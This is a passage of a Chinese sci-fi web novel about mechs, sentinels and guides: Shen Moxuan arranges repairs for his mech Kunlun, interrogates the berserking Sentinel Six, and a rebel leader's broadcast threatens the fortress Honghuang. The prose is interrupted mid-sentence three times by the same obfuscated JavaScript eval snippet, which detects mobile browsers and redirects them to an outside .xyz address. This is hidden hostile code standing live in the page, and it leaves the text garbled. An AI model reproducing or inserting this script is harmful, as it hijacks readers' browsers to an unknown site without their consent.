“昆仑的机龄大了,很多地方都需要检修修复,我需要有专业的人能够来负责这件事,这算是个不情之请,不知道你愿意帮忙吗?” “当然愿意。”刘治用力点了点头,“没想到有朝一日还能够为您效力,实在是……荣幸之至。大人放心,刘某虽然年纪大了,但是那些知识和技术都在我的脑子里牢牢刻着,就算是死我也不会忘记。” “我并不担心你的技术和能力。”沈莫玄回答,“只是现在我已经不是元帅,即便你帮了我,我也没有什么能够作为回报,如果你不愿意,我不怪你。” “不,刘某早就已经发过誓要为大人肝脑涂地,做这些不求任何回报,只要大人需要我,要做什么只是一句话的事情。”刘治神情坚定地说着。 “既然如此……” 沈莫玄从一旁的工作台上拿起一台平板。 “这是昆仑目前需要修复的主要问题:一是地形障碍与雷达探测器影像不一致,需要检查探测器影像扫描图与实际地形差异,并重新校准;二是左腿平衡单元未校准,它的左脚活动倾角异常偏移了五度;三是腿部的液压踏板机械阻尼器损坏,可能需要更换新的零件。” "另外它的背部武器库部分热武器装载缺失,弹药不足……我检查过女神星目前没有这些热武器库存,这个问题暂时无法解决,等之后我再想办法吧。” 刘治接过平板,看着上面详细的记录和分析,脸色逐渐严肃起来。 关于昆仑与梼杌的那场战斗他虽然没有亲眼见证,但也在远处见识到了爆炸的威力,没有想到居然是在敌我双方的装备差距如此悬殊的情况下取得的胜利。 想起再过几个小时,来者不善的五号就会抵达女神星,刘治皱起了眉。 “大人,如果要以昆仑目前的状态去应对五号的S级天将机甲夜魇……恐怕……” “昆仑不会随我出战。”沈莫玄打断了他。 刘治蓦地抬起头,“您要独自去见五号?” “嗯。”沈莫玄点了点头。 “等等……主人,我不能和您一起去银叶星吗?”一道有些低落的电子音从身后响起,沈莫玄转过身,看着半跪到了自己身后的墨绿机甲,抬起手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710082|173545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸了摸它蹭过来的侧颊。 “你现在目标太大,不好伪装,等我去银叶星找到合适的辉耀晶石,就想办法给你升级机体,让你支持潜行模式。” 辉耀晶石是一种特殊的异星矿物,在特定电磁场作用下可以触发量子坍缩,使金属进入可编程的纳米融合态,融合了辉耀晶石的机甲能够在不同的体型大小之间自由转换,甚至还可以被压缩存储于晶石内部,形成一种介于物质与能量之间的特殊存在。 在人蝎战争后期被发现之后,辉耀晶石就被用于新机型“天将”S系列上作为核心材料。然而,辉耀晶石的生成条件极为苛刻,通常只存在于中子星碰撞后的星际尘埃带或是某些经历过极端引力坍缩的矿星深层地壳中,产量极少,实属罕见。目前已知的最大矿脉就位于银叶星。正因如此,银叶星是当时联合军最主要的机甲研发基地。 昆仑是老式天兵机甲,只能固定维持在五米高的大小,无论是出战距离还是能源损耗都很受限,要想能够被缩小成可以随身携带的形态,必须要融合晶石,进行机体升级才行。 听见主人的话,昆仑的目光暗了暗,但很快又振作起来。 “昆仑明白了。” “主人,这次出行没有机甲在您身边保护您,您一定要自己小心,昆仑会一直维持在待命状态,如果您有需求,请随时呼唤我,无论多远,我都会到您身边去支援您。” “放心吧昆仑,哥哥有我,我会保护好哥哥的。”扬声器里响起了一道清亮的少年音,是白泽。 昆仑往仓库的角落看去,望向那个朝向着他们的摄像头,郑重道,“那就拜托您了,白泽大人。” “对了,大人,其他的零部件校准和保养倒是没问题,但昆仑面部的涂装受损……” 看完平板上的分析资料的刘治抬起头,仔细端详着那墨绿色机甲面漆脱落的位置。 “这个墨绿色的漆应该是您当初为昆仑特制的,在制式机甲里很是少见,女神星资源匮乏,属下恐怕无法调制出一模一样的颜色。” “只能用其他颜色修补了么……”沈莫玄轻抚着昆仑的脸,陷入了思索。 “没关系的……这个伤痕是我和主人一起战斗时留下的,我想要留下它的痕迹,当做纪念。” 目镜中倒映出银发哨兵那张认真的面孔,机甲昆仑用一向温润有礼的语气询问道,“可以吗?” “你自己决定就好。”沈莫玄没有多想,扭过头,对身后的中年男人叮嘱道,“老刘,你听到它说的了。” “是,大人请放心,属下一定会完成任务。” 见事情都交代得差不多了,沈莫玄收回手,“我还需要做一些准备工作,这里就先交给你了。” “明白,大人慢走。” 刘治目送银发青年离开,转过身,看向身后的机甲。 直到主人的身影消失在门口,一直维持着单膝跪地姿态的机甲才缓缓站起,恢复了伫立在原地的姿势。 “那么……接下来,昆仑阁下,请选择一个你想要用来修补漆面的颜色吧。”刘治从平板中调出了现在女神星拥有的机甲专用漆库存。 昆仑仔细辨别着面前不同颜色的漆面效果图,在刘治的指尖滑到某张图片的时候毫不犹豫地抬起了手。 “就用这个来修补可以吗?我喜欢这个颜色。” “‘太空银’珠光亮面漆吗?好眼光,这个漆色涂装出来的效果很高级。”刘治抬起头,“放心交给我吧昆仑阁下,保准让您焕然一新。” 11.洗澡 哗啦啦—— 热水从头顶的花洒落下,氤氲的热气逐渐驱散了那股自休眠舱中出来之后便若有若无地萦绕在周身的寒意。 水流下的青年睁开眼,长舒了一口气,抬手将被打湿的碎发薅向脑后,露出光洁的额头和高挺的眉骨。 水声停下,遮挡着淋浴室的磨砂玻璃门被推开。 沈莫玄走到全身镜前,抹开镜面上的雾气,用审视的目光打量着自己的脸和身体。 这无疑是一具各方面素质条件都很优异的身体——年轻,强壮,没有任何的旧伤沉疴,他都不知道自己有多久没有过这样轻松的时候了,没有伤痛的拖累,没有疲惫的侵蚀,甚至连心跳和呼吸都变得异常高效。 如果能够忽略身体上某些非人的细节的话,这大概会是一具完美的身躯。 水珠顺着青年银白的发梢滴落,在肩膀处短暂停留,又沿着肌肉的轮廓往后背滑下。 沈莫玄侧过脖颈,看向自己的身后。 不起眼的浅红色纹路出现在他的颈椎最下节位置,从他的视角看不完全形状,摸起来也和其他位置的皮肤一样,感觉不出任何区别。 那是亚人的特殊构造,如蝎族一样,他们身上有一个特殊的腺体,可以释放出信息素来与同类交流。 这种信息素人类的嗅觉感知不到,只有蝎族和亚人才能察觉,不过,不知道是不是因为信息素无法被自体识别,沈莫玄并没有嗅到自己信息素的味道。 不仅如此…… 青年拿起放在洗手池上的紫外线灯,将灯筒对着自己的手掌打开。 在紫外光照射下,那只修长有力的手掌的皮肤、血管与骨骼浮现出层次分明的蓝银色,在指尖活动间呈递出蛛丝般流动的微光,和没有被光线覆盖的手腕那正常的冷白肤色形成鲜明的对比。 这也是蝎族的特性,它们的血液中携带了某种光敏蛋白,能吸收紫外线并释放出可见光。在普通状态下或许不易被察觉,但在紫外线强度是地球数百倍的太空中,许多哨兵的皮肤表面会出现荧光纹路,随着肾上腺素与信息素水平的飙升,这种荧光会变得更加明显。 紫外线灯被关闭,青年的手掌肤色顿时恢复了正常。 他重新抬起头,看向镜中倒映出的熟悉面孔。 种种迹象表明,他现在确实成为了一名哨兵。 但是…… 沈莫玄闭上眼睛,进入自己的精神域。 和寻常哨兵云状的精神域不同,他的精神域更像一个"光核",无数丝状的亮线在这个光核上起伏着,如同太阳表层的风暴一般活跃。 不知道为何,这具属于初代哨兵的身体,却依然能够拥有向导才有的特殊感知器官“精神触丝”,就连精神力波段频率也和他前世的一模一样。 难道真的如白泽所说,是他的灵魂连带着向导的特征转生到了这具身体当中? “哥哥,六号醒了。” 沈莫玄睁开眼,看向镜面上浮出的气泡。 这间休息室是乔治亚·埃弗顿替他准备的,他一时没注意到这面镜子是装配了隐形摄像头的多功能智能镜。 他扯过架子上的毛巾,围在了腰间。 “你刚刚一直都在这里?” “监狱的中央控制系统似乎有些过时了,我只是帮忙接管一阵子。”白泽说着,“哥哥别担心,我会把你的三维数据牢牢锁在记忆核心的机密存储区,不会让任何人有机会看到你的裸-体的。” “白泽,你忘了我们约法三章的内容了?”沈莫玄提醒。 “我记得……”白泽的语气变得有些闷闷不乐,“哥哥洗澡,睡觉,上洗手间的时候,阿白不能偷看,也不能偷听。” “所以?” “可是哥哥这次洗澡洗了32分钟56秒,比以往平均时长多出了将近一半,阿白也是怕发生了什么嘛……万一哥哥刚变成哨兵,身体不舒服,在浴室晕倒了怎么办?” 银发青年抱起双臂,好整以暇地看着镜子,视线透过镜面直直落在那枚摄像头上,表情莫测。 “……我错了,哥哥。”在那冰蓝色眼眸的逼迫下,白泽的语气弱了下来,认错道。 “这一次就算了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721485|173545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和AI较劲礼义廉耻无疑是一种毫无意义的行为,唯有制定行为规范和严格的奖惩机制,它们才能够切实执行。 “如果再有下次,我就……”青年淡淡启唇,“再也不理你了。” “不行!哥哥不能不理我!”白泽的语气变得急迫起来,“我下次一定不会再犯了,我发誓!” “记住你说的话。” 沈莫玄说回正题。 "你刚刚说六号醒了?” “是的,他已经出现了精神解离的症状,如果哥哥想要对他进行审讯,恐怕需要抓紧时间了。” “精神解离……什么意思?” "为了防止亚人失控,新总统上台后启动了哨兵改造计划,所有哨兵的基因片段都被重新编辑过,他们不再拥有自行构建精神屏障的能力,必须绑定一名向导作为精神锚点,否则就很容易陷入狂躁状态。一旦彻底暴走,他们脖颈上的抑制环会直接触发高压电流,终止他们的生命体征。” “六号的向导已经确认死亡,代替向导的寄生蝎也被破坏,再加上在先前的战斗过程中,陷入兴奋的腺体分泌了过多的信息素,感知力被增强,导致现在的他处于信息超负荷却没有任何精神屏障阻隔的状态,已经出现了精神解离的初步症状,即思维迟钝,情绪焦躁,交感神经混乱等,随时都有失去理智狂化的风险。” 银发青年眉头微蹙,“没有人给他注射抑制剂吗?” “没有,他毕竟是S级哨兵,危险系数很高,这里的狱警们不敢接近他。” "他现在在哪儿?" “B1层的审讯室。” 沈莫玄推开浴室的门,抓起了床上的衣服。 那是件有着银色包边的黑色制服,材质混合了金属细丝制成的防辐射纤维,是女神星狱警的常备制服的一种。 他动作麻利地将制服衬衫的纽扣一直扣到脖颈最上方,套上外套,系紧皮带,对着镜子将警帽上的银色警徽调节到眉心正上方,压实,最后抄起那副落在床上的黑色皮革手套,雷厉风行地朝着门外走去。 “走吧,去见见他。” 12.狂化的六号 审讯室并没有窗户,明亮的白炽灯从天花板上直射下来,照亮了房间中央坐在审讯椅上的灰发哨兵。 距离六号脱离主宰神经蝎已经有2个小时了。 六号的手腕被铐在扶手上,他低垂着脑袋,眉头紧皱,原本披在身上的军装外套连同那从不离身的合体腰带早就被人收走了,此刻他的上身仅穿着一件紧身的黑色军用背心,被冷汗浸透后紧紧贴在身上。 从墙壁当中的管道里传来的水流声,从头顶换气孔里传出的气流声,还有日光灯管闪烁时发出的微电流声刺激着敏-感的神经末梢,这些声音对于哨兵而言就是一种鲜明折磨。 若是主宰神经蝎还在,便能够建立起精神屏障轻易隔绝这些噪音,但是现在没了寄生蝎和向导的哨兵根本无法自行建立精神屏障。 六号晃了晃脑袋,试图将这些令人烦闷的噪声从脑中挥走,但除了让他颈环上的铭牌晃荡了几下以外,其余只是徒劳。 “嗬……嗬……”他沉沉地喘着气。 过度兴奋的大脑开始传递错误的神经信号,繁杂的画面从记忆深处涌现,一幕幕呈现在面前,犹如混乱的幻象。 被自己亲手杀死的向导,休眠舱中的零号,远在遥远蝎巢的当中的蝎后,刚刚从实验室中被唤醒的自己…… 过多的信息像是海底火山爆发一样在哨兵的精神域里横冲直撞,让六号几乎丧失了对时间和位置的感知。 啪嗒—— 汗水滴落在六号张开的双腿中央的地面上。 意识解离。 这是二代哨兵的基因病,也是六号从出生开始就被人为创造出的缺陷,哨兵的理智拼图正一点点破碎,直到这可怕的诅咒将其退化为毫无理性的野兽,最后,悬于头顶的达摩克利斯之剑坠下,将他彻底毁灭。 镗镗鞳鞳…… 门外的走廊尽头传来了沉稳的脚步声,就如同重音鼓点,将六号从混沌中勉强拉扯到现实。 六号的耳廓轻轻动了动,他听到门锁被打开,有人来到了自己的面前,用冰冷的警棍抬起了他的下颚。 刺目的光线由此直射进了瞳孔里,六号眯起眼睛,灰绿色眼瞳中央的瞳孔从离散到聚焦,慢半拍地看清了面前穿着挺括警服的银发青年。 “零号……”他咬牙切齿地说出这个名字。 “是我。” 沈莫玄应了一声。 “他们说你快疯了,我看你倒是还挺清醒。” 六号的脸色变得狠戾,强烈的敌意让他打起了精神。 “你想怎么样?” “没怎么样,只是想要问你几个问题。” “放弃吧,我一个字都不会说的。” “口气倒是很硬。”沈莫玄对六号的话不以为然。 他绕到六号的身后,将手搭在他的肩上,指尖擦过他那灰色的发梢,落在那个有二指宽的黑色金属环上。 “我听说联合军给每个哨兵都配了一个抑制颈环,这个颈环可以监测你们的生理体征,一旦出现心跳过速,血流加快,信息素超过阈值的情况,就会放出高压电流来镇压你们。” “被这么残忍的手段禁锢着,怪不得你们想要造反。” 六号的身体僵硬了一瞬。 “不过,你们不该去投靠蝎族。”沈莫玄继续道。 “那是一群没有人性的生物,蝎后唯一的使命就是毫无节制的繁衍,她和她的族群如同蝗虫过境,肆意消耗每一个被侵占的星球的资源,直到星球的生态被彻底破坏,她又会带领族群寻找下一个殖民地。” “地球现在的生态十分脆弱,一旦蝎族登陆,人类就会失去最后的家园。” “那又如何?”六号勾了勾嘴角,“别忘了,你和我都是亚人,我们从来没有所谓的家园——即便你现在回去,人类也只会给你戴上这个抑制环,让你做他们的狗而已。” “是吗?”沈莫玄挑了挑眉,“看来你的前任监管者对你很不好啊。” “听说基茨少校是六名S级向导当中唯一的女性,她和你的适配度有60%,我还以为你会喜欢上她。” “喜欢?”这个荒谬的词让六号发出了一声冷笑,“别开玩笑了,谁会对那个冷血的女人感兴趣……她不过是把我当作她的工具而已。” “如果你想要用她的死来引起我的愧疚,那你就该失望了。”椅子上的扶手被抓紧,六号缓缓抬头,语气阴鸷,“我一点都不后悔杀了她,就算没有主宰神经蝎的控制,我也早晚有一天会这么做的。” “是么……” 银发青年不置可否地应了一声,指尖隔着手套落在了六号后颈被项圈遮挡了部分的腺体上。 这是他第一次闻到哨兵的信息素。 六号的信息素是柑橘调的,和他本身那充满侵略性的狼系长相不同,有些小清新。 腺体被剐蹭的感觉让六号头皮一麻,整个身体轻微震颤了一下。 “你干什么?”六号咬牙将那种诡异的感觉压制了下去,有些恼怒地问道。 “其实疏导并不只有精神连接这一种形式,你知道吗?” “你在说什么?” “哨兵一半是蝎族,一半是人类,而人类的那部分基因模版来自道恩·雷蒙德,我是他的克隆体,我身体里流着他的血液。” 沈莫玄转到他的身前,看向他,“如果精神解离的本质就是哨兵的人性退化,那我的血就可以将这个过程逆转,换句话说——即使不进行精神连接,我也可以为你提供疏导。” 六号没听懂这些细节,但抓住了一个重点,“你要救我?” “是有条件的。” “什么条件?” “先回答我的问题。” “……”六号明显犹豫了一下,但还是道,“不行。” 沈莫玄根本没有在意他的拒绝,径直问道。 “那只蝎子是用来替代向导用的吧?一号到五号,每个人脑子里都有这个,对吗?” “……”六号抿了抿唇,不说话。 “看来是没错了。” 沈莫玄压低身体,左手箍住灰发哨兵被束缚在扶手上的小臂上侧,右手的警棍再次抬起他的下颚,让他直视着自己的眼睛。 “下一个问题。” “那天在黑塔之上,通过耳麦和你对话的人,是谁?” “……”六号依然咬牙不答。 “一号?” “……”六号那苍狼似的灰绿色眼眸中闪过一丝茫然和思索。 “二号?” “……”六号的眼神微妙地往左边偏去。 沈莫玄歪了歪头,“所以和你沟通和联系的都是二号,你在听他的指令做事?” 六号的眼珠倏地转回来,瞪大眼睛用一种看怪物的眼神看着面前的银发青年。 但被他瞪着的对象却表情未曾稍变,依然用不紧不慢的语气追问着。 “你们的目标应该不只是为了帮助蝎族进攻地球吧?这对你们而言毫无益处,我很好奇,你们的最终目的究竟是什么?” “……”这次六号的表情一片空白,他的脑波频率也没有任何变化。 “这样啊。” 沈莫玄揉了揉他的脑袋,直起身。 “你干什么?”六号被他突如其来的怜爱动作给迷惑住了。 “你还没发现吗?你的哥哥们什么都没有告诉你,就让你乖乖来送命了。” 银发青年扯了扯嘴角,漆黑的帽檐下,冰蓝色的眼眸微敛,语气凉薄。 “可怜的小崽子,你被当做一枚弃子了——这样的你,连让我审讯的价值都没有。” “你说什么?” 六号的呼吸声陡然变得粗重,他的手臂肌肉猛地绷紧,咧开嘴大吼一声,将焊接在地上的审讯椅连根拔起,如同疯狗一般朝着面前的青年撞来。 “你这混蛋——” 银发青年轻描淡写地侧过身去避开了暴走的哨兵的冲撞,抬起腿一脚将其踹到了监狱的栏杆上。 哗啦! 合金栏杆发生了明显的凹陷,六号的额角被锐利的金属焊点划破,伴随着嫣红的血从他额角流下,空气中开始蔓延开一种奇异的气息。 情绪上的混乱,暴躁,不安,让这位年轻哨兵那柑橘调的信息素中散逸出龙舌兰般的辛辣与苦涩,充满了攻击性。 “我要杀了你!我要杀了你!” 精神解离的痛苦让六号开始胡乱地大吼,他像是根本感觉不到痛一般,扛着椅子再次转身往沈莫玄冲过去。 但此刻混乱的精神状态让他的攻击毫无章法,漏洞百出。 沈莫玄看着空门大开的灰发哨兵,再次抬脚,毫不留情地一记当胸正踢,将六号仰面朝天地踹到了地上。 沉重的合金铁椅咣当一声朝着一侧倒去,六号挺起腰腹想要再次将椅子扛起来,但却因为体力透支,只是像案板上的鱼一样在地上弹动了两下。 一双黑色长靴来到了不断挣扎的灰发哨兵的面前。 “冷静点。”沈莫玄道。 他抬起脚下的黑色长靴,用靴子尖戳了戳六号因为使劲而变得格外坚硬的腹部,示意他不要瞎动弹。 “唔咳……杀了我……” 灰发哨兵用充血的双眼注视着他。 “既然我对你来说已经没用了,那就……杀了我啊!” 说话间,六号那双灰绿色的眼瞳在强光下猛地收缩成针状,他的指甲逐渐伸长,皮肤表面逐渐生出坚硬的甲壳,后颈的脊椎骨节一节节地突起,毛孔中冒出细密的灰色刚毛——那是蝎族躯体化的症状。 亲手杀死向导的反噬最终还是出现了。 他正在狂化。 沈莫玄从六号逐渐变得毛茸茸的手臂判断出了和他基因融合的蝎族。 灰毛狼蝎,是一种身上长满了灰黑色绒毛的雄性巨蝎,弹跳力很好,能够灵活地飞檐走壁,有很锋利的尾勾和钳子,是蝎族中负责冲锋陷阵的进攻性兵蝎。 但这种蝎子性格暴躁,头脑简单,比较适合群体行动,并不经常单独作战。 实验室的繁育负责人在想什么……居然选了这种不猫不狗的蝎子来培 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726804|173545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养哨兵…… 沈莫玄举起警棍,将棍子的末端对准六号后颈的颈环,摁下了触发器。 棍头上冒出了明亮的电火花,强劲的电流主动激发了颈环上的惩罚装置,高压电一瞬间刺入哨兵红肿的腺体,瞬间传递全身。 “呃——啊啊啊啊!” 六号猛地挺起胸膛,脖颈后仰,浑身青筋暴起,拖着铁椅在水泥地上划出一道弧形的白痕。 强大的电流麻痹了他的身体和神经,哨兵很快便陷入了僵直状态,他半张着嘴发出意味不明的嗬嗬声,口角流出来不及吞咽的涎液,身体在电击作用下震颤不止。 沈莫玄松开警棍,抬起军靴透过椅背的缝隙一脚踩在六号的尾脊上,将那呼之欲出的变异蝎尾硬生生堵了回去。 “唔嗯……”六号的口中发出意味不明地低吟,他剧烈喘-息着,用满是红血丝的眼珠盯着面前的银发青年,“你……为什么还不杀了我?” “我不会杀你,虽然你什么都不知道,但……你还有别的用处。” 没有谁比沈莫玄更清楚要打造一名S级哨兵所需要耗费的资源,也没有谁比他知道一名S级哨兵的利用价值。 虽然这个头脑简单的家伙冲动好斗了些,但真要论起战斗力,在这座星球上,除了他以外,没人能是他的对手……稍微调|教一下,用来看门还是不错的。 再说了,这个世界上,没有他控制不了的哨兵。 沈莫玄把警棍固定在后腰上,然后毫不留情地抓着六号的头发把连人带椅子提起来,重新扶正。 头皮被拉扯的疼痛让六号狠狠皱起了眉头,他不安分地挣扎了一下。 “你不杀我……我也不会感谢你的。”他狠狠瞪着面前的银发青年。 “我知道,笨蛋都很记仇。” 沈莫玄走到了一旁的操作台上,在抽屉里搜索着什么。 六号脖颈上的狼尾已经被汗液洇湿了,浑身像是从水里捞出来的一样,狼狈得根本看不出一开始那目中无人的模样。 “怎么?这里没有让你满意的刑具吗?”见对方在那放满刑具的操作台前摆弄着什么,六号露出一个自嘲的笑容。 在他提问的时候,沈莫玄已经转身朝他走来。 头顶射下来的强光刺激着眼睛,让六号看不清银发青年手中的东西。 他绷紧了身体,准备好迎接一场残酷的拷问。 额头传来刺痛的感觉,刺激性的气味弥漫到鼻尖。 六号的眼睫颤了颤。 “你在干什么?” 他看向那酒精棉替他擦拭额角的伤口的银发青年。 “清理创口,替你消毒。”沈莫玄简洁地回答。 他的动作很是细致,相比刚才那粗暴的动作温柔得简直令人不寒而栗。 六号突然有了个不可思议的想法,“你不会……真的打算为我进行疏导吧?” 沈莫玄挑了挑眉,指尖隔着酒精棉拨开对方黏连在太阳穴旁的发丝。 “你求我,我就答应你。”他的声音低沉,话语间莫名有种让人想要无条件服从的魔力。 六号被迷惑了几秒,随即扬起脖颈,抬高音量掩饰自己刚才的动摇。 “谁会求你!” 这个回答并没有出乎沈莫玄的意料。 “那就算了,反正我也是逗你玩的。” 六号的眼神立刻变得恨恨的,“我就知道……你这个骗子!” “不过我还有一个办法,可以暂时缓解你的症状。” 此时沈莫玄已经扶着椅子来到了六号的身后,灰发哨兵扭过头去,试图看向身后的人,却被一只温热宽大的手掌捂住了眼睛。 "什么——唔!" 冰冷的针管刺入脖颈的肌肉,在六号条件反射地绷紧肌肉之前,注射器中的液体被推了进去。 银发青年拔出空了的注射器。 “嘘……放松,这只不过是掺了些镇定成分的强效精神抑制剂,有多少从来没有拥有过向导的哨兵都是靠它活着的,恭喜你,现在,你也是其中一员了。” “你这个混账!放开我唔唔唔!唔……” 身下挣扎的动静逐渐小了下去,直到完全静止。 沈莫玄松开手,静静地俯瞰着陷入沉睡的六号哨兵。 寂静的审讯室里没有旁人,但一道声音却在此时从一旁的扬声器中响起。 “哥哥,精神抑制剂是针对低等级哨兵研发的,对S级哨兵的效果十分有限,六号只是因为镇定剂的作用昏睡过去了,等他醒来,精神解离的症状只会更加严重的,按照他现在的情况,只有进行深层次的物理或者精神疏导才能够减弱狂化的症状。” “我知道。” 银发青年抬手剥离了那已经被六号的汗水濡湿的黑色皮手套,露出那只苍白修长,骨节分明的右手。 “我只是需要这个小崽子乖一点。” 他将食指和中指并拢,搭在六号刚刚消过毒的太阳穴上,双眸亮起了幽幽的蓝芒。 “因为,接下来……我要进入他的大脑了。” 13.开阳号VS洪荒号 银河系,这是个庞大而又神秘的棒旋星系,从远处望去,四条长长的旋臂拧合在一起,形成了一个瑰丽的银白星系群。 银河系战略防御体系星链的构造便依靠这四条旋臂建立: 在最外侧的英仙座悬臂M34星云中,坐落着传说中的机甲故乡,盛产辉耀晶矿的银叶星太空城,由地球联合军第五军团驻守; 第二旋臂半人马臂上,则分布着南天门星与南十字星两大机要太空城,现由第三,第四军团分别驻守。 最靠近太阳系的第三悬臂猎户座悬臂外围,则是守卫星最为密集的地方——位于水瓶座的前帝国远征军基地上帝之眼,由第一军团驻守;位于狮子星座的前联盟星河护卫队总部轩辕神宫,由第二军团驻守;以及……位于北极星附近的新地球联合军总部,太空堡垒洪荒号,由总统亲自选拔精锐,重新组建的第六新军团驻守。 如果站在地球的角度来观察,这些太空城各自分布在南北天球与黄赤夹角当中,由远及近,呈拱卫的姿态将地球围住。 而在这些太空城中,守护地球的最后一道关卡,就是新联合军总部,洪荒号。 这直径三百公里的庞然大物由许多不规则青灰色金属棱锥拼接而成,上宽下窄,像是一座漂浮在寂寥宇宙的无根巨山。远远望去,如同一面护卫在湛蓝母星前的盾牌,巍峨肃穆,令人望而屏息。 洪荒号总指挥室分为两层,下层是中级指挥官,各通讯员和堡垒各部门分部长的坐席,而上层则是一个圆弧型的多功能指挥台,上面共有五个坐席,四名高级指挥官分别坐在左侧和右侧,神色严峻地看着星图的各种分析数据。 在上层指挥台中央,有一把空置的真皮座椅,椅子前的掌纹识别屏维持着待机模式,闪烁着黯淡的光。 那便是联合军最高统帅的席位,自那位元帅大人离世后,无人再有资格坐上这把头号交椅。 此时此刻,指挥室里弥漫着令人窒息的沉默,所有人都表情凝重,目不转睛地盯着雷达图上那些密密麻麻的红色小点。它们集中在距离洪荒号不远的位置,形成了一片不详的红雾,那是作为作战前锋的蝎族,裂齿巨蝎,八足毒蝎,鬼脸斑纹蝎……每一只都凶残无比,锋利的爪牙可以轻易地撕裂寻常战舰的钢铁外壳,钻开人类的头颅与腹腔,将他们啃噬一空。 洪荒号已经派出了所有天将机甲迎战,但敌人的包围圈仍然在渐渐缩小。 而在那包围圈后方,被众多护卫舰簇拥着的,则是一艘灿金色的巨型战舰。 它就这样停驻在所有蝎族之中,就像是一颗无冕的太阳,沉默却又散发着不可忽视的压迫感。 那就是开阳号,驻扎在原全亚联盟星河舰队总部——轩辕神宫的联合军第二军团战舰群的母舰。 开阳号是联合军中数一数二的天权级太空战舰,它曾经是守护人类文明的强有力保障,但现在,却成了一个分外棘手的重量级敌人。 “所有亚人同胞们,我是反抗军首领凯里安,你们可能更熟悉我曾经的编号——哨兵二号。” 在所有战舰与机甲的公共通讯频道内,传来一道冷淡肃穆的声音。 “我也曾是你们当中的一员,所以我非常明白,你们在战斗前线所做的一切,需要冒着巨大的生命危险,请扪心自问,这都是你们心甘情愿的吗?” “我们是亚人,但同样会流血,会疼痛,会死亡……那些站在我们身后的人类监管者却将高压电流项圈戴上我们的脖颈,要求我们在战场的最前线为他们冲锋陷阵,可当我们受伤甚至牺牲的时候,他们有为我们流过哪怕一滴泪吗?” “也许你们还记得,我们也蹭有过与人类并肩作战的时候,那时的“指挥官”还不是尸位素餐的代名词,而是和我们一样奋斗在战场上,甚至冲在最前方的人。他不曾是任何人的向导,但向导这个词却因他而生——彼剑之所指,即吾等心之所向,在那位元帅在世时,无人有过异议。” “从何时起,人类与我们之间的关系彻底变质了呢?那些畏惧我们,却又卑劣地利用着我们的指挥官,值得我们前仆后继地去守护吗?这样被无情奴役,用完就扔的命运,难道就是我们亚人诞生与存在的全部意义吗?” 开阳号的指挥室内,黑发红眸的哨兵二号下颚微扬,朗声道。 “正如你们所见,我给了所有驻扎轩辕神宫的哨兵一次重新选择的机会,而现在,开阳号的舰群当中这些护卫舰与机甲舰队,足以证明他们做出了怎样的选择。” “现在,是时候做出你们发自内心的选择了——是与我一同开创新的属于我们的纪元,还是与卑微自私的旧人类们一同埋葬在这个巨大的坟墓当中?” 黑发青年背起双手,锗红的双眸中流露出一丝矜傲。 “我给你们一分钟的时间,同胞们,你们知道哪个选择才是最明智的。” “该死!快想办法屏蔽这个通讯信号。” “屏蔽失败,开阳号知道我们的内部通讯频道,刚才的信息是全频道推送,那些在前线的哨兵恐怕都听见了!” 洪荒号指挥室里,四名高级指挥官神情慌乱起来。 “要是洪荒号也暴乱就麻烦了,快点请示总统阁下!” “报告,地球基地呼叫——是总统阁下!”下层通讯席上,一名通讯员站了起来。 “立即接通!” 全息投影在指挥室中央凝结成一位拄着金色权杖的老人,四位指挥官从椅子上站起,不约而同地敬礼。 “洪荒号的各位,在这里,我要宣布一则不幸的消息,就在不久之前,我收到了米兰达·基茨少校牺牲的消息——这意味着,我们试图唤醒初代哨兵零号的计划失败了。” 地球基地,新联合政府总部,穿着黑色西服的七旬老人双手交握,用手中的金色权杖支撑着身体,表情严肃地注视着面前的摄像头。 “蝎族已经在蝎后的命令下对我们发起了全面进攻,五座机要太空城的军事基地俱与我们失去联系,现在,守在地球所有平民之前的,只剩下我们人类文明倾尽全力所打造的最后的太空堡垒——洪荒号。” “一直以来,我们都太过于依赖S级哨兵在战场当中起到的绝对性作用,以至于当他们站到自己的对立面时,才发现,原来舰队的力量是那样的渺小。” “我们曾经将亚人视同手足,可到了危难时刻,他们却轻而易举地背叛了我们,甚至毫不留情地杀死了与他们精神相连的向导——” 老人的指腹摩挲着权杖上的金盏花纹样,闭了闭眼,发出一声叹息。 沧桑的声音从他口中缓缓响起: “我不能容忍这样的错误再继续下去,我们不能将希望再寄托在那些流着外星血脉的亚人身上。就在刚才,联合政府已经通过投票表决,一致同意全面启动‘王权天枢’计划。” 霍索恩·加德抬起权杖,用力跺向地面。 “这将是我们最后的杀手锏——无论如何,必须守住洪荒号!” “四位指挥官,地球最后的防线,就交给你们了。” 